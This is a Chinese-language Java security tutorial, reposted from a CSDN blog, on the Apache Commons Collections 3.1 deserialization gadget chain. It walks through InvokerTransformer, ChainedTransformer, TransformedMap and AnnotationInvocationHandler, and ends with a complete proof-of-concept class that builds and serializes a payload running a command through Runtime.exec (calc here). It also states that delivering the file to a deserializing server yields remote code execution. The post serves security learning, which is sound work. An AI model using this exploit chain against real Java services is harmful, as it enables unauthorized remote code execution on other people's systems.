0


[java安全]CommonsCollections3.1

文章目录

【java安全】CommonsCollections3.1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个

InvokerTransformer

类可以使用

transform()

方法使用反射机制调用任意函数

我们首先看一看构造方法:

publicInvokerTransformer(String methodName,Class[] paramTypes,Object[] args){this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}

为参数赋初值

transform()

方法

publicObjecttransform(Object input){if(input ==null){returnnull;}else{try{Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName,this.iParamTypes);return method.invoke(input,this.iArgs);}...}}

该方法会使用反射机制,将传入的对象

input

使用

getClass()

方法获取Class对象,然后使用

getMethod()

获取方法的Method对象,最后传参

invoke()

调用函数

那么我们就可以通过

InvokerTransformer

这么执行命令

importorg.apache.commons.collections.functors.InvokerTransformer;publicclassInvokerTransformerDemo{publicstaticvoidmain(String[] args)throwsException{//Class runtimeClass=Class.forName("java.lang.Runtime");//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法Object m_getMethod=newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}).transform(runtimeClass);//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象Object runtime=newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}).transform(m_getMethod);//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象Object exec=newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"}).transform(runtime);}}

Runtime类的

getRuntime()

函数是静态方法,所以使用反射不需要传入对象,传个null即可

publicstaticRuntimegetRuntime(){return currentRuntime;}

ConstantTransformer

这个类的

transform()

方法很简单:

publicConstantTransformer(Object constantToReturn){this.iConstant = constantToReturn;}publicObjecttransform(Object input){returnthis.iConstant;}

传入什么对象,就返回什么对象

ChainedTransformer

构造函数:

publicChainedTransformer(Transformer[] transformers){this.iTransformers = transformers;}

将传入的

transformer

数组赋值给

iTransformers

变量

再看

transform()

方法:(重点)

publicObjecttransform(Object object){for(int i =0; i <this.iTransformers.length;++i){
            object =this.iTransformers[i].transform(object);}return object;}
ChainedTransformer

类的

transform()

方法会调用

iTransformers

数组中的每个

Transform

对象的

transform()

方法,并且会将前一个的返回值通过

object

变量传给后面一个

于是我们可以构造出新的链

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.*;publicclassReflectionChain{publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"})};ChainedTransformer chain=newChainedTransformer(transformers);
        chain.transform(null);}}

至此,我们漏洞利用条件是构造出含命令的

ChainedTransformer

对象,然后触发

transform()

方法

如何才能触发呢?

我们需要看看

TransformedMap

类的源码:

TransformedMap

TransformedMap

类中,存在一个

checkSetValue()

方法,可以调用

transform()

方法:

protectedObjectcheckSetValue(Object value){returnthis.valueTransformer.transform(value);}

我们可以通过创建

TransformMap

对象来调用该方法,但是如何创建对象呢?

我们可以使用

decorate()

静态方法:

publicstaticMapdecorate(Map map,Transformer keyTransformer,Transformer valueTransformer){returnnewTransformedMap(map, keyTransformer, valueTransformer);}

于是,我们可以将构造的链子传入TransformedMap对象中:

Map innermap =newHashMap();
innermap.put("key","value");Map outmap =TransformedMap.decorate(innermap,null, chain);

如何触发checkSetValue()方法?

Map

是java的接口,

Map.entrySet()

的返回值是一个

Set

集合,此集合的类型是

Map.Entry

我们发现

TransformedMap

类的父类是

AbstractInputCheckedMapDecorator
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是

AbstractInputCheckedMapDecorator

类中存在

setValue()

方法,可以调用

checkSetValue()
staticclassMapEntryextendsAbstractMapEntryDecorator{privatefinalAbstractInputCheckedMapDecorator parent;protectedMapEntry(Map.Entry entry,AbstractInputCheckedMapDecorator parent){super(entry);this.parent = parent;}publicObjectsetValue(Object value){
            value =this.parent.checkSetValue(value);returnthis.entry.setValue(value);}}

根据继承和多态,我们知道

TransformedMap

类中也有

setValue()

方法

我们可以对outmap对象如下操作就可触发命令执行:

Map.Entry onlyElement =(Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用

setValue()

方法,我们需要实现带有

readObject()

方法的类调用

setValue()

方法,这样就可以实现反序列化RCE了

这里需要用到

AnnotationInvocationHandler

类:

AnnotationInvocationHandler

AnnotationInvocationHandler类的

readObject()

方法对

memberValues.entrySet()

的每一项调用了

setValue()

方法

image-20230715013946405

构造函数:

image-20230715014403089

这里先直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  1. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素

poc

importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Retention;importjava.lang.annotation.Target;importjava.lang.annotation.RetentionPolicy;importjava.lang.reflect.Constructor;importjava.util.HashMap;importjava.util.Map;importjava.lang.reflect.Method;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;publicclassCommonCollections11{publicstaticObjectgeneratePayload()throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝Transformer transformerChain =newChainedTransformer(transformers);Map innermap =newHashMap();
        innermap.put("value","xxx");Map outmap =TransformedMap.decorate(innermap,null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class,Map.class);//这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}publicstaticvoidmain(String[] args)throwsException{payload2File(generatePayload(),"obj");payloadTest("obj");}publicstaticvoidpayload2File(Object instance,String file)throwsException{//将构造好的payload序列化后写入文件中ObjectOutputStream out =newObjectOutputStream(newFileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();}publicstaticvoidpayloadTest(String file)throwsException{//读取写入的payload,并进行反序列化ObjectInputStream in =newObjectInputStream(newFileInputStream(file));
        in.readObject();
        in.close();}}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

image-20230715014441472

以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

image-20230715103609385

CC链学习-上 - 先知社区 (aliyun.com)

Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)


本文转载自: https://blog.csdn.net/qq_61839115/article/details/131736402
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。

“[java安全]CommonsCollections3.1”的评论:

还没有评论